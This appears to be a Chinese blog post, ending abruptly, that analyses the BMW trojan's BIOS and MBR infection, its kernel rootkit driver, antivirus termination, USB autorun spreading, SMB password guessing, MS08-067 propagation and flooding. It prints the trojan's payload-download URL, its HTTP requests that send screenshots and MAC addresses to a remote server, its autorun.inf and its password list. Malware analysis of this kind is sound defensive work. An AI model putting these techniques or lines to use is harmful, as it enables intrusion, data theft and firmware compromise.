BMW Trojan 样本分析

仅用于链接已经删却但是需要方便查阅的原文http://blog.csdn.net/zirconsdu/article/details/7997470

转载请注明出处http://blog.csdn.net/zirconsdu/article/details/8153813

一些具体数据结构和具体路径隐去。

 

BMW木马样本分析

摘要

2011年底和某Hunter的谈话涉及到当时新检测到的病毒BMW,于是有了这篇分析报告.今天打开该目录时,卡巴又报发现病毒,又看到了这片文章.

曾经想象病毒侵入BIOS的危害,果然就出现了BMW,不过幸亏BMW只是用BIOS工具加入了个模块,而不是对BIOS的代码进行更深层次的修改.很久以前,就认为病毒侵入控制系统固件会有更大的社会危害,而修改重烧工业自动化系统的PLC控制器固件的病毒已经见诸报端.

正文

木马包含bios.exebmw.exe两个文件,前者负责感染biosmbr,后者用于可执行文件感染,下载木马等。

 

一、BIOS感染文件

主要包括:

bios.exe--BIOS感染主文件.

Flash.dll--用于装载sys文件.

bios.sys--BIOS驱动服务文件,用于访问BIOS.

my.sys—一个文件驱动hook实现文件.

hook.bin--BIOS文件和MBRex文件.(MBRex含在BIOS,便于直接感染)

hook7k.bin---hook.bin 中的7k内容,由MBRex注入到winlogon/WinInit.

winlogon/WinInit:下载calc.exe并执行.fileprt服务装载my.sys,原理同使用beep.sys装载bios.sys.

 

1.1    bios.exe分析

1首先XOR 98h解码代码段中0x1000-0x1500的部分,解出代码段;XOR 89h解码出数据段部分;

2通过进程枚举,如果检测到瑞星或金山杀毒,则弹对话框,并对IMEhook,在用户按键时,执行3;如果没有发现瑞星和金山,直接执行第3步;

3解析参数和检测windows版本,参数主要是-w,-d,-u,其中-u是修复系统,-w-d不明朗;一般情况下是继续执行感染系统;

4安装BIOS驱动,从资源中抽取出bios.sys,放入系统drivers文件夹;

然后会根据情况采用三种方式来安装BIOS驱动(\\.\bios设备):

A使用\\.\MyDeviceDriver(注:不是My.sys安装上的,是另一个RootKitDLL注入技术,将Flash.dll依次注入到services.exe Explorer.exe来测试是否安装\\.\bios成功;

B如果A安装不成功,针对有瑞星或KVWIN7WIN2008R2版本,则直接LoadLibrary Flash.dll进行bios设备安装;

C大多数情况下,停止beep服务,使用bios.sys代替beep.sys,然后启动beep服务的方式来加载bios驱动安装bios设备,然后使用备份恢复beep.sys文件;

5然后会从资源中释放出过滤驱动My.sys

6 DeviceIoControl(BIOS, 80102188h,..)来检测是否是Award BIOS,如果是,则DeviceIoControl(BIOS, 80102180h,..)备份当前BIOS”c:\bios.bin”,打开文件,搜索“hookrom”hook.bin的内容)来检查当前BIOS是否已经感染,如果没有感染,则从资源中释放出cbrom.exeAward BIOS工具)和hook.romBIOS Patch,含MBRWinlogon Patch),使用cbrom.exe c:\bios.bin /isa hook.romhook.rom作为ISA扩展BIOS添加进BIOS固件(另一个cbrom.exe c:\bios.bin /isa release为卸载扩展BIOS模块),然后使用DeviceIoControl(BIOS, 80102184h,..)BIOS固件写入Flash中。

如果不是Award BIOS,则使用hook.romMBR直接替换原MBR。具体是,读取hook.rom,空过前面0x5D字节(BIOS部分)到MBR代码部分,复制MBRex到局部缓冲区(0x1C00字节,0x0E扇区);打开\\\\.\\PHYSICALDRIVE0且调整权限,读取MBR扇区到局部缓冲0x0E00处,检查是否感染(“int1” signature),若没有感染,则使用[0x01F8]值初始化[0x0226](是DayCounter),用0x0F000x80字节(从磁盘上读出的MBR部分)覆盖到0x0100处,主要是保存硬盘分区表。然后,将局部缓冲区14个扇区写入磁盘。

至此感染完毕。至于-u恢复,则是相反过程恢复回去。

 

1.2    flash.dll分析

用于以服务形式加载BIOS.sys, 主要功能在是DllMain中,其余代码是heap实现选择。

DLL_PROCESS_ATTACH DllLoad实现中,通过打开\\.\bios检测是否有Bios驱动,若没有,OpenSCManager =>> CreateService(bios) =>> StartService(bios)

DLL_PROCESS_DETACHDllUnload实现中,OpenSCManager =>> ControlService (bios, STOP) =>> DeleteService(bios)

 

1.3    bios.sys分析

BIOS驱动文件,服务形式,安装\\.\bios设备,用于Ring0访问BIOS

DriverEntry->DriverEntryImpl =>> IoCreateDevice("\\Device\\Bios")

主要是DriverIoControlIOCTL_CODE有三个:

80102180h --- BackupBIOS

80102184h --- BurnBIOS

80102188h --- CheckBIOS

CheckBIOS流程:

使用MmMapIoSpace map BIOS物理地址[0x0F0000+0x10000] to liner space,然后搜索字符串“$@AWDFLASH”确定是否Award BIOS;找到后,在其后0x2A处,找SMI_PORT保存;然后通过 “_MS_”“IMD_”辅助找到BIOS_SIZE并保存。

BackupBIOS流程:

MmMapIoSpace map BIOS物理地址[0x0F0000+BIOS_SIZE] to liner space =>> ZwCreateFile(\\DosDevices\\C:\\bios.bin) =>> ZwWriteFile

BurnBIOS流程:

ZwCreateFile(\\DosDevices\\C:\\bios.bin) =>> ZwReadFileExAllocatePoolWithTag分配的缓冲区中;擦除Flash,将缓冲区中内容编程到Flash中;释放缓冲,关闭文件。

EraseFlash流程:

首先,写"$SMI"EBP寄存器,然后OUT 0x29SMI_PORT(是扩展端口),适当延时(应当延时相对比较长时间?),检测EBP是否TOGGLE“SMI$”,若是,擦除成功。

ProgramFlash流程:

分页,每次编程16字节;依次编程;use page auto increament

页编程流程:

首先,写"$SMI"EBP寄存器,然后OUT 0x2FSMI_PORT(是扩展端口),适当延时,检测EBP是否TOGGLE“SMI$”,若是,页编程成功。

 

1.4    my.sys分析

IoCreateDevice(\\Device\\hide)钩到\\Device\\Harddisk0\\DR0的驱动disk.sys,对READWRITEDEVICEIOCONTROLDISPTACH进行HOOK,阻止MBRex扇区部分被读取和修改。在WINLOGON的感染代码里my.sysfileprt服务的名义被加载。

DriverReadHook:

判断如果是读前63个扇区,则设置完成例程DriverReadCompletionRoutine,若不是,调用原读例程正常读;

DriverReadCompletionRoutine会根据读模式,找到相关缓冲区,清零,使这样无法读取MBRex14扇区)所在的扇区。

DriverWriteHook:

根据写模式,得到相关缓冲区,如果是写前14扇区,则需要偏移0x100处的FBFBECECFCFCEBEBhSignature作为口令(MBR0x100处即为这些数值)可以调用原写例程写入;否则IofCompleteRequest with STATUS_SUCCESS;若是15-63扇区,直接IofCompleteRequest with STATUS_SUCCESS;其余扇区,调用原写例程正常写;

DriverIoControlHook:

对于IOCTL_DISK_GET_DRIVE_LAYOUT_EXIOCTL_STORAGE_GET_MEDIA_TYPES_EXIOCTL_DISK_GET_DRIVE_GEOMETRY_EX直接IofCompleteRequest with STATUS_UNSUCCESSFUL;其余IOCTL CODE正常。

 

1.5    hook.bin分析

第一字0xAA55表示该BIOS模块是Expansion BIOS模块;第三字节(偏移0x02)是扩展BIOS模块的大小,其后是指令jmp bios_start

isa_main0x1C5D处,bios_start0x5D处,中间0x1C00字节是MBRex(含Winlogon感染代码)。

第一条指令将0x5D弹出到ax中,然后用0x5D-0x1C5C内容覆盖0x7C00[+0x1C00](BIOS load MBR的地址),这样BIOS初始化完毕后,将控制权交给MBR时,被修改的MBRex取得控制权。

然后使用扇区扩展读BIOS中断,读取MBR(磁盘第一扇区),判断是否感染('1tni'标记),若没有被感染则拷贝后0x80字节(含硬盘分区表)到0x0100[+0x80],使用扇区扩展写BIOS中断写14个扇区完成感染。

最后,retf指令返回,return to the caller in bios calling rel_0003?

 

1.6    hook7k.binMBRex.bin分析

首先,把自身MBR部分(第零扇区)拷贝到0x0600,然后跳转到0x061E0x061E代码是读磁盘1-6扇区(zero-based)0x7C00,然后跳转到0x7C00执行;

0x7C00(即第一扇区,0开始编号)处是一条相对跳转指令 jmp 0x7CA00x7CA0ebr_strap)处代码把1-6扇区拷贝到0x0600处,然后跳转到0x06BF(ebr_main)处执行;

ebr_main首先会读CMOS获取日期,用于病毒运行天数计数;然后把7号扇区(即被感染计算机的原MBR)读取到0x4000缓冲区,从其中的分区表中找启动分区并找到启动分区的起始扇区(DBR),读取DBR0x7C00

根据BPB判断文件系统,如果是NTFS,从$MFT开始寻找Winlogon/WinInit,找到后判断是否感染('snnc' signature),如果没有感染,则设置感染标志'snnc'保存原entrypoint,拷贝8号扇区开始的Winlogon感染代码560字节到Winlogon被感染指令处;显示“Find It OK!”,然后跳转到0x4000(原来好的MBR)执行原MBR,完成原有的启动流程;

若是FAT32格式文件系统,根据FAT表找到Winlogon,找到后判断是否感染,保存原entrypoint,设置新EP0x1C00(除去两扇区PE头,恰好是第8号扇区所在位置,文件中偏移0x1000),修正PE文件头;若簇小于8扇区,则首先写入文件头,然后读入第八扇区开始的6个扇区写入Winlogon;若簇大于8扇区,则将第8号扇区开始6个扇区直接覆盖Winlogon的第八扇区开始的6个扇区,然后一簇写回,完成Winlogon感染。然后将0x4000处原MBR拷贝到0x7C00处,跳转到原MBR执行启动。

注:Winlogon.textRVA=0x1000,PA=0x0400;文件头占两个扇区。0x1000+(0x1000-0x0400) = 0x1C00.

0x0D号扇区(hook7k.bin最后一个扇区)还有一段代码,用途不明.SEH内容居多。

 

1.7    winlogon.exe分析

hook7k.bin的第八扇区即偏移0x1000开始PatchWinlogon,经过简单加密,自解密运行。

首先解出代码,然后加载库Urlmon.dllAdvapi32.dll,解析用到的函数地址;

创建线程,使用URLDownloadToFile下载http://xx.3515.info:806/test/91/calc.exe保存为c:\calc.exe,使用WinExec运行;

然后,OpenSCManager =>> CreateService(fileprt, my.sys, …) =>> StartService(fileprt)安装HRADDISK驱动的钩子,作用详见my.sys分析。

 

二、BMW.exe感染文件

Bmwexe采用aspack加壳,很容易脱去;

Upx0upx1两个section,不是UPX壳,好像是调用的VM?通过静态分析函数调用关系,还是可以分析出顶层的函数主要有两个。

start处分析,木马首先使用VirtualQueryExGetModuleHandle判断是运行在exe中还是dll中;然后分别调用了许多垃圾代码的入口,猜测以上两个顶层入口分别是运行在exedll中的入口,标号分别是RootFuncRunningInExeRootFuncRunningInDll。使用硬件断点可以验证猜测。

RootFuncRunningInExe流程

这个函数主要是为ServiceDLL服务代码准备运行条件,运行ServiceDLLs;使用命名管道和EventServiceDLL通讯。

1首先VirtualAlloc一个4000000h的大缓冲,然后用nop.nop.nop加最后一条jmp rel32(下一条指令)填充,执行(原因不明朗,难道是为了延时?),然后VirtualFree返回。

2判断自己是否运行在可移动设备中,若是,则创建进程执行"explorer /n,X:\"打开磁盘,可以运行其中的uninstall.exe病毒,等待进程结束返回;

3 XOR解码PIPE名,格式是\\.\pipe\{________guid_________},句柄记为hPipe;创建Event Global\{6581F932-EEC4-422e-A5FD-0F78BB508683},句柄记为hEvent8683;打开管道文件(OPEN_EXISTING),如果是系统启动之内60s,会不停尝试打开,第一次运行,肯定是无法打开的;

4 创建文件“C:\\Documents and Settings\\Infotmp.txt”“C:\\Users\\Infotmp.txt”Vista以上版本);

5 枚举进程比较文件名,检测自身是否运行在Explorer或者以下杀软进程中:

RavMonD.exe360tray.exeMPSVC.exeKSafeTray.exeRsAgent.exeavp.exeExplorer.exe

若存在这些进程中,则得到进程ID;如果是存在RavMonD.exe中,为了不被用户发觉,会启动RsAgent.exe小狮子进程;使用随机数和进程号产生"%.8X.tmp"格式字符串(进程号在低四位),作为system32下的文件名,使用随机数"%.8X.log"格式串,作为拷贝屏幕JPG图片文件名,在TempPath目录下。

6 GetVersionEx得到的VersionInformation、自身EXE是否杀软BITMAP、是否拷屏、自身EXE文件名、自身进程ID、进程ID字符串、JPEG文件名、RavMonD进程ID等信息写到文件Infotmp.txt中,供DLL运行时读取;

7 exe文件不是在可移动存储上时,拷贝屏幕,使用GdiPlus编码为Jpeg图片流,并保存为“$TEMP\%.8X.log”文件;

8 创建Event Global\{49DC5E00-FB89-41c2-8E1E-852B0B0C6B00},句柄记为hEvent6B00,将自身内容读到缓冲区中,修正PE Hdr标志位为DLL格式,获取sfc_os.dllSetSfcFileException函数指针,用于暂停系统文件保护以替换文件;针对解码出的下列服务和对应文件(未列出全部)执行OpenServiceQueryServiceStopService,用缓冲区内容覆盖文件内容,StartServiceWaitForSingleObject(hEvent6B00)等待替换后的服务(该服务会SetEvent(hEvent6B00)),然后CloseServiceHandle

"AppMgmt","BITS","FAstuserSwitchingCompatibilty","WdmmPmSN","XmlProv",……

"appmgmts.dll","Qmgr.dll","shsvcs.dll","mspmsnsv.dll","XmlProv.dll",……

如果上述解码没有解出任何字符串,则使用HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost注册表项netsvcs键的键值(服务名列表) ,循环执行以下操作CreateService("System32\\Svchost.exe -k netsvcs"),服务名.dll”形成文件名(如BITS服务,则为BITS.dll),然后将该服务的注册表项的ServiceDll设置为相应的dll文件名,将缓冲区内容写入文件,然后StartService同样等待WaitForSingleObject(hEvent6B00)完成或超时。

关闭相关句柄,返回。

第一次运行实例执行完毕。

 

运行在DLL中时,分为由Svchost -k service启动的服务和普通DLL运行的形式。

Svchost启动的Service DLL的执行流程

这个是病毒的运行主体部分。

1首先创建并设置Event hEvent6B00通知第一次运行实例,服务已经运行;从文件Infotmp.txt中读取信息,并删除文件;如果文件不存在或打开失败,则重新获取相关信息;尝试删除创建本服务DLL的原实例EXE程序文件200次(因为EXE会启动多个DLL,每个都会尝试删除);

2 获取自身Module文件名,解码出本身的服务名;加载Psapi.dll并解析出GetModuleInformation的地址,调用得到MODULEINFO.SizeOfImage

3 解码出杀软程序名字符串列表;打开\\.\poxity设备准备通信,如果打开成功,根据情况恢复系统、卸载驱动,然后重新装载驱动(有个DOWRD值为2时,由Exe生成的Infotmp.txt拷贝过来,具体意图还不清楚,可能是某些原因不匹配)或者使用原驱动;如果打开设备失败,则装载服务安装设备。具体是使用32bit随机数生成nnnnnnnn字符串做为服务名,system32\nnnnnnnn.sys做文件名,从自身释放出类型为“FILE”、资源名为65h的资源并解码写入到nnnnnnnn.sys文件,然后创建并启动服务;尝试20次打开\\.\poxity设备;

4 创建线程ThreadHttpSendJpegFile将图片编码到流中向服务器传送拷屏JPEG图片。

GET /passport.asp?ID=1&fn=1_00-0C-29-XX-XX-XX&Var=00000001 HTTP/1.1

Accept: */*Accept-Language: zh-cn

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; WindowsNT 5.1; SV1)

Host: 204.45.123.173

Connection:Keep-Alive

5 然后传入驱动使用的一些函数地址和变量,并得到内核KiServiceTable的地址和NumberOfService。具体是,通过ntdll!ZwQuerySystemInformation遍历系统加载模块列表,其中第一个模块就是ntoskrnl,得到其文件名和在内核的加载基址;然后在用户态loadlibrary(ntoskrnl_name),获取KeInsertQueueApcKeInitializeApcMmFlushImageSectionIoGetAttachedDevicePsTerminateSystemThreadMmGetSystemRoutineAddress函数地址,使用PsTerminateSystemThread函数地址和特征指令搜索PspTerminateThreadByPointer VA,使用KeInsertQueueApc函数地址和特征指令搜索KiInsertQueueAPC VA;然后保存这些函数的前0x0C字节指令,根据函数用户态加载VA和内核台基址得到在内核的地址;得到不同版本平台的ThreadListHeadOffsetInEPROCESSThreadListEntryOffsetInETHREAD;将这些信息通过IOCTL=0x222407传递给驱动,驱动同时会给出内核KiServiceTable的地址和NumberOfService(注:这两个参数直接通过InputBuffer传出,和poxity驱动通信缓冲区并不严格遵循常见输入输出缓冲区模式)。驱动会使用MmGetSystemRoutineAddress得到用到的函数地址,使用PsTerminateSystemThreadThreadListHeadOffsetInEPROCESSThreadListEntryOffsetInETHREAD结束线程;传入的其余几个函数会被inline hook

6 在用户态下获取KiServiceTable表格,恢复被inline hook的函数。

具体做法是,使用驱动返回的内核基址和KiServiceTable在内核中的Addr,得到偏移KiServiceTableOffset;看是否则合理的范围内,此处源码有点bugjb应该为jl,即合理地址范围转拷贝代码;

若地址范围不合理,则Ring3下,得到加载后的ntkrnlpa.exeKeServiceDescriptorTable的地址,转换成KeServiceDescriptorTableVAVA ImageBase based,为什么加载后不是以LoadedAddr重定位而仍是以ImageBase?),在INIT section代码空间中搜索KeServiceDescriptorTableVA以定位指令

MOV ds:_KeServiceDescriptorTable, offset _KiServiceTable,得到KiServiceTableImageBase based地址,KiServiceTableVA-ImageBase得到偏移KiServiceTableOffset。此处代码也有bug,搜索范围不对导致搜索不到,修正为直接搜索INIT section范围即可。

得到KiServiceTableOffset后,使用Module Loaded基址定位到KiServiceTable loaded VA,拷贝整个KiServiceTable保存,然后使用内核基址修正每个Entry,使用IOCTL=0x22240B恢复SSDT

7 针对杀软,通过进程枚举,得到AV ProcId,向驱动发送IOCTL=0x222418,驱动枚举目标进程所有线程,使用PspTerminateThreadByPointer结束线程;

8 向驱动发送IOCTL=0x222424和本进程ID,阻止线程创建和中止通知,本实现只阻止线程中止通知。

9 IFEO劫持杀软。具体是,针对解码出的列表中的每个AV注册表项HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IFEO\AV_Name"Debugger"键值都设置为"ntsd -d";是通过IOCTL=0x22241C实现的。

10 Hook tcpip.sys

用途是阻止某些域名的解析,详细参见poxity IOCTL=0x22242C

11 使用IOCTL=0x22240F隐藏本身DLL module;使用IOCTL=0x22241C设置本身服务HKLM\SYSTEM\CurrentControlSet\Services\ServiceName “Start”启动方式为22为自动,3为手动,4为禁止),IOCTL详见poxity分析;如果,poxity不存在,则直接调用SHSetValue设置启动模式为自动。调用SHSetValue设置HKLM\SYSTEM\CurrentControlSet\Control\Windows键值"NoPopUpsOnBoot"1,阻止服务启动出错时弹出系统错误报告。发送IOCTL=0x222420给驱动,隐藏服务的注册表项。

12 发送IOCTL=0x222413、文件系统设备名和自身文件名给驱动,由驱动hook文件系统驱动,隐藏DLL文件;发送IOCTL=0x222417由驱动返回驱动文件名;发送IOCTL=0x222413、文件系统设备名和驱动文件名给驱动,隐藏驱动文件。

13 然后创建三个线程,标记为thread1thread2thread3.

Threa1--DelSafeBootMinNetAndRepeatGenSelfnDrv

首先删除注册表项

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal

HKLM\SYSTEM\CurrentControlSet\ Control\ SafeBoot\Network

然后发送IOCTL=0x222430到驱动, hook FileSystemDriverMajorFunction[IRP_MJ_CARETE]MajorFunction[IRP_MJ_DIRECTORY_CONTROL]两个Dispatch,作用详见poxity分析。

从驱动得到驱动文件名,读取驱动文件到缓冲区DriverSysBuffer;把模块自身读到缓冲区SelfFileBuffer;循环每隔1s覆盖一次模块自身的内容,驱动文件由于原程序文件名是空,没有被覆盖,好像是bug

Thread2---TerminateIfWorkHasDoneByOtherOrSleepFor1

使用命名管道\\.\pipe\{________guid_________}EXE程序通信,负责命名管道的创建,系统中只允许一个该命名管道实例。

首先使用CreateFile+OPEN_EXISTING测试管道是否存在,如果CreateFile成功GetlastError返回ERROR_SUCCESS,说明已有ServiceDLL运行形式存在,命名管道已经创建,而且EXE程序还没有打开管道,则让第一个ServiceDLL运行,线程退出;

如果CreateFile失败且GetLastError返回ERROR_PIPE_BUSY(0xE7)说明已有ServiceDLL运行形式存在,命名管道已经存在,而且EXE中代码正在使用管道,则线程退出;

如果CreateFile失败,GetLastError返回不是ERROR_SUCCESSERROR_PIPE_BUSY,最有可能是ERROR_FILE_NOT_EXISTING,则标明是第一个ServiceDLL执行,则使用CreateNamedPipeA创建命名管道,只允许一个实例;然后会进入一个循环,使用管道接收来自EXE执行的0x10字节命令,直至接收到退出命令,则准备退出。

所以命名管道的主要作用是保证一个ServiceDLL实例在运行,结束掉其余ServiceDLL实例中的线程;接收到EXE的退出控制命令后,结束本进程内线程。

结束线程前的检测并做恢复工作如下:

A.     发送IOCTL=0x222428通知驱动恢复系统;

B.     如果模块名和服务名相同,则删除HKLM\SYSTEM\CurrentControlSet\Services\ServiceName键值;如果不同,则将其下“Start”子键设置为禁止(4);

C.     枚举本进程内的所有线程,TerminateThread,使用0xE1F27272 NormalContext阻止系统通知(检查A中是否已经恢复,还能阻止吗?);

D.     释放分配的本模块内容、用于Exe的模块内容、驱动内容三个缓冲区;

E.     结束线程。注其堆栈内容和调用:

UnPackEr:00403EB9                 push    0

UnPackEr:00403EBB                 push    0

UnPackEr:00403EBD                 lea     eax, lpMultiByteStrFileSelf

UnPackEr:00403EC3                 push    eax

UnPackEr:00403EC4                 push    ds:ExitThread

UnPackEr:00403ECA                 push    [ebp+hNamedPipe]

UnPackEr:00403ED0                 push    ds:DeleteFileA

UnPackEr:00403ED6                 push    ds:CloseHandle

UnPackEr:00403EDC                 retn

CloseHandle(hNamedPipe);

DeleteFileA(lpMultiByteStrFileSelf);

ExitThread(0);

Thread3---CreateMainWorkThreads

作用是创建一系列线程;

首先调用WriteLocalhostOverrideHostFile'127.0.0.1       localhost\r\n'只一行写入到hosts文件。

创建线程RecurseLogicalDriveToInfectNlsArchive

针对每个逻辑驱动器创建一个线程,递归、深度优先遍历每个驱动器上的文件,此过程中没有使能exe文件感染,只是将搜索到的非系统Temp目录下的rar包文件名以链表保存起来,该链表操作代码使用Event互斥,保证链表线程安全;

WaitForMultipleObjects各个遍历线程结束后,使能exe文件感染,创建线程,主要是使用RAR文件名链表解压大小在2800h0A00000h之间的文件到系统temp目录,感染其中的exe文件,重新压缩替换原来文件。

会将一些目录排除在搜索和感染范围,如“WINDOWS”,“WINNT”“Documents and Settings”“System Volume Information”……,列表不尽详述。

该线程首先读取c_312747.nls文件内容,其内容是6个字节一组的记录,每一个记录对应一个RAR文件;前四个字节是rar文件名的HASH值,后两个字节用于和全局变量unk_413D28两个字节作比较,结构如下

Struct

{

DWORD dwRarNameHash;

WORD  wUknown;

};

如果有新RAR文件出现,则找不到对应dwRarNameHash,解压感染后在文件末尾增加该记录;如果dwRarNameHash相同且wUknown>unk_413D28处的字,则解压感染后用新的记录替换掉原来记录;dwRarNameHash相同且wUknown<=unk_413D28处的字,则不解压感染文件。wUknown类似版本号。

文件感染部分分为一小段0x02E1字节的跳转代码和本身二进制文件组成,根据PE文件计算各参数,填充0x02E1字节代码中运行时填充字节,修正原entrypoint,将0x02E1和本身内容填充到原exe文件末尾,完成感染。

感染前,有一调用判断,进入垃圾代码返回,不知用途。

创建线程MakeDriveAutorunUnstallForRemovableDevice,主要功能是每个1s检测系统逻辑盘;在可移动逻辑盘上创建autorun.inf文件和uninstall.exe文件,双击盘符自动运行,autorun.inf内容大致如下:

[autorun]

OPEN=recycle.{645FF040-5081-101B-9F08-00AA002F954E}\uninstall.exe

shell\open=打开(&O)

shell\open\Command=recycle.{645FF040-5081-101B-9F08-00AA002F954E}\uninstall.exe Show

shell\open\Default=1

shell\explore=资垂芾砥?&X)  =>应该是资源管理器(&X)

shell\explore\Command=recycle.{645FF040-5081-101B-9F08-00AA002F954E}\uninstall.exe Show

autorun.infrecycle.{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\文件夹和uninstall.exe都设置系统、隐藏、只读属性。

uninstall.exe是木马自身可执行文件副本。

然后在系统重启后需要等待1小时继续创建线程。

创建线程GetIpAddrOfwwwxxxxxinfo

每隔一分钟解析一个www.%s.info域名的外网地址。

    创建两个线程EvilFunctionToolKit(5)EvilFunctionToolKit(1),分别以img/up.jpg****urlHTTP服务器下载两个exe可执行文件,估计是两个木马,创建进程执行。

创建线程IEOpenURLMacHtm使用IE打开URL http://xxx.xx.123.170:8080/htm/mac.htm?1。网页已经无法打开。

创建线程InfectTheSubNetMachines(1),攻击内网子网内的计算机。首先使用www.baidu.com测试网络连接,然后使用socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)ICMP探测一个范围内("xxx.xx.123.170-174")的主机是否可达,保存此主机用于下载http://xxx.xxx.xxx.xxx:8080/msdownload/update/v5/setup.exe。然后WNet枚举网络资源,用建立desktop.txt尝试是否有写权限,然后感染该文件夹,形成rar包记录。

然后针对子网内计算机进行遍历,若主机可达,拷贝自身exe可执行文件到\\pipe\ipc$\\pipe\C$,设置AT定时执行。WNetAddConnection2A(\\pipe\ipc$\\pipe\C$)时,会使用下列用户名和密码列表进行猜测:

UserAdministrator.Guest.admin.Root

Password: 1234.password.6969.harley.123456.golf.pussy.mustang.1111.shadow.1313.fish.5150.7777.qwerty.baseball.2112.letmein.………

然后使用MS08-067命名管道漏洞进行攻击。首先用\\xxx.xxx.xxx.xxx\pipe\browser试探,TransactNamedPipe ShellCode进行攻击。

上述过程,每隔10分钟循环一次。

 

创建线程InfectTheSubNetMachines(2),遍历外网子网计算机地址,使用MS08-067命名管道漏洞进行攻击。

 

创建线程EvilFunctionToolKit(3)从服务器列表选择可用的使用相对URL dl/1.rar下载一个木马文件数据库,解密数据。根据本地的一个要运行的木马名称列表,从该文件数据库中抽取出木马,存为文件运行。

 

创建线程HttpSendMACetcInformation,把系统MAC地址传送出去,以HTTP GET的方法实现,内容为

"GET /ttt/tongji.asp?ver=101010&tgid=1&address=00-0C-29-25-A5-BB&flag=17b342d996799e26fd44a9bb4f81cd51&alexa=0&List=NULL HTTP/1.1",CR,LF,"Accept: */*",CR,LF,"Accept-Language: zh-cn",CR,LF,"User-Agent: Mozilla/4.0 (compatible; MSIE 6.)

 

创建线程AttackTargetBlood,使用EvilFunctionToolKit(4)从服务器msdownload/update/wuredirtetcpa1.txt下载的文件控制本机向目标机发动网络洪水攻击。

该文件解密后格式(复制不上,此处从略).

前三个DWORD用于解密。

首先,创建NumOfHttpSvrRecord个线程,使用HTTPSvrRecord参数从每个服务器上下载文件,删除文件;该文件并没有使用。

Typedef struct _tagHTTPSvrRecord

{

}  HTTPSvrRecord;

 

然后,使用IOCTL=0x222434命令驱动HookNdis(只对XP2k3有效),然后攻击目标机:

A.创建大量socket(AF_INET, SOCK_STREAM, IPROTO_TCP),无论NDIS是否被Hooked,因为不是SOCK_RAWIPIP_HDR[PROTO]字段不为0,所以NdisMSendHandlerHook不会起作用;connect时会建立大量的正常的TCP连接,然后send发送一个字,形成大量小包。该过程使用下面InnocenceBloodControlBlock结构控制。

Typedef struct _tagInnocenceBloodControlBlock

{

}  InnocenceBloodControlBlock;

NdisHooked的情况下,创建socket(AF_INETSOCK_RAWIPPROTO_IP)直接填充IP包,首先发送TCP_SYN建立大量半连接;然后发送UDP包,UDP数据为伪造的源IP,会被NIDS MSendHandlerHooked用来作为IP头的Source IP,形成IP欺骗,隐藏自己。仍然由上述InnocenceBloodControlBlock结构控制攻击。

B. 创建socket(AF_INETSOCK_DGRAMIPPROTO_UDP),进行由DNSQryControlBlock控制进行的DNS解析,有三种形式:使用DNSQryControlBlock.DestIpAddrArray数组中的地址作为DNS服务器地址解析DNSQryControlBlock.szIP;使用DNSQryControlBlock.DestIpAddrArray数组中的地址作为DNS服务器地址解析一系列www.xxxx.[DNSQryControlBlock.szInfoComNetOrgetc]域名;使用本主机的DNS解析一系列www.xxxx.[DNSQryControlBlock.szInfoComNetOrgetc]域名。

Typedef struct _tagDNSQryControlBlock   //size is 0xC0.

{

}  DNSQryControlBlock;

C.创建线程,解析一系列缓冲区,搜索其中“javascript”“mailto”http://等关键字,找邮箱地址和域名,发送到HrefControlBlock.szIP服务器。具体用途不明,HrefControlBlock结构暂时不明。

Typedef struct _tagHrefControlBlock   //size is 0x9C.

{

+0x00 CHAR szIp[0x40];

………

}  HrefControlBlock;

 

14删除EXE生成的用于记录其进程IDsystem32\nnnniiii.tmp文件(当病毒在杀软EXE中运行时,会生成此文件,以记录杀软ID,是iiii四位);

15进入死循环,500ms周期性执行.

如果有新的infotmp.txt生成,说明有新的实例运行在exe中,则读取信息,然后删除Infotmp.txt文件;针对AV列表,枚举进程检测这些AV是否存在,若存在,则发送IOCTL=0x222418和其进程ID,由驱动结束杀软内所有线程。

 

以注入DLL形式的执行流程

解析传送进的文件名字符串参数,文件名应该是nnnniiii.tmp形式,其中iiii是杀软或者Explorer.exe的进程ID(该文件由在EXE中运行的实例产生,EXE中可能有主线程和普通线程两种地位形式?);与本进程ID号比较,若匹配则执行以下部分,不匹配则ExitThread退出线程。

1 创建Event {00C92B91-763E-4a4e-8404-29ED1850790B},标记为hEvent790B,设置事件;

2 如果没有poxity设备,则安装驱动服务;

3 如果文件Infotmp.txt不存在,则自己检测系统版本和杀软信息;

4 如果检测到微点杀毒MPSVC.exe,则发送IOCTL=0x222407 Inline hook SSDT;然后枚举进程得到进程ID,发送IOCTL=0x222418由驱动使用PspTerminateThreadByPointer结束微点。

5 以前面所述相同的替换一系列系统服务的形式,运行病毒。

最后结束执行。

【注】最后为什么会是如下形式:

UnPackEr:004021B9                 push    0

UnPackEr:004021BB                 push    0

UnPackEr:004021BD                 push   ds:hModule------------+

UnPackEr:004021C3                 push    ds:ExitThread         |

UnPackEr:004021C9                 push    ds:hModule            |

UnPackEr:004021CF                 push    ds:FreeLibrary        |

UnPackEr:004021D5                 push    ds:hModule            |

UnPackEr:004021DB                 push    ds:FreeLibrary        |

UnPackEr:004021E1                 push    ds:hModule            |

UnPackEr:004021E7                 push    ds:FreeLibrary        |

UnPackEr:004021ED                 push    ds:hModule            |

UnPackEr:004021F3                 push    ds:FreeLibrary        |

UnPackEr:004021F9                 push    ds:hModule            |

UnPackEr:004021FF                 push    ds:FreeLibrary        |

UnPackEr:00402205                 push    ds:hModule            |

UnPackEr:0040220B                 push    ds:FreeLibrary        |

UnPackEr:00402211                 push    ds:hModule            |

UnPackEr:00402217                 push    ds:FreeLibrary        |

UnPackEr:0040221D                 push    ds:hModule            |

UnPackEr:00402223                 push    ds:FreeLibrary        |

UnPackEr:00402229                 push    ds:hModule            |

UnPackEr:0040222F                 push    ds:FreeLibrary        |

UnPackEr:00402235                 push    ds:FreeLibrary <------+

UnPackEr:0040223B                 retn

难道是push 0 push 0 调整了堆栈,从而调整了ExitThread返回地址,能接着下面的代码执行. 多次FreeLibrary是安全设计,还是hModule前部分已经被清空,故意引起程序出错?可能是没有FreeLibrary,不可能会是引起程序出错。


Poxity设备驱动:

bmw.exe释放出来,放在system32目录下,名字是nnnnnnnn.sysnnnnnnnn8位十六进制随机数)。主要IOCTL和功能描述如下:

0x222407:

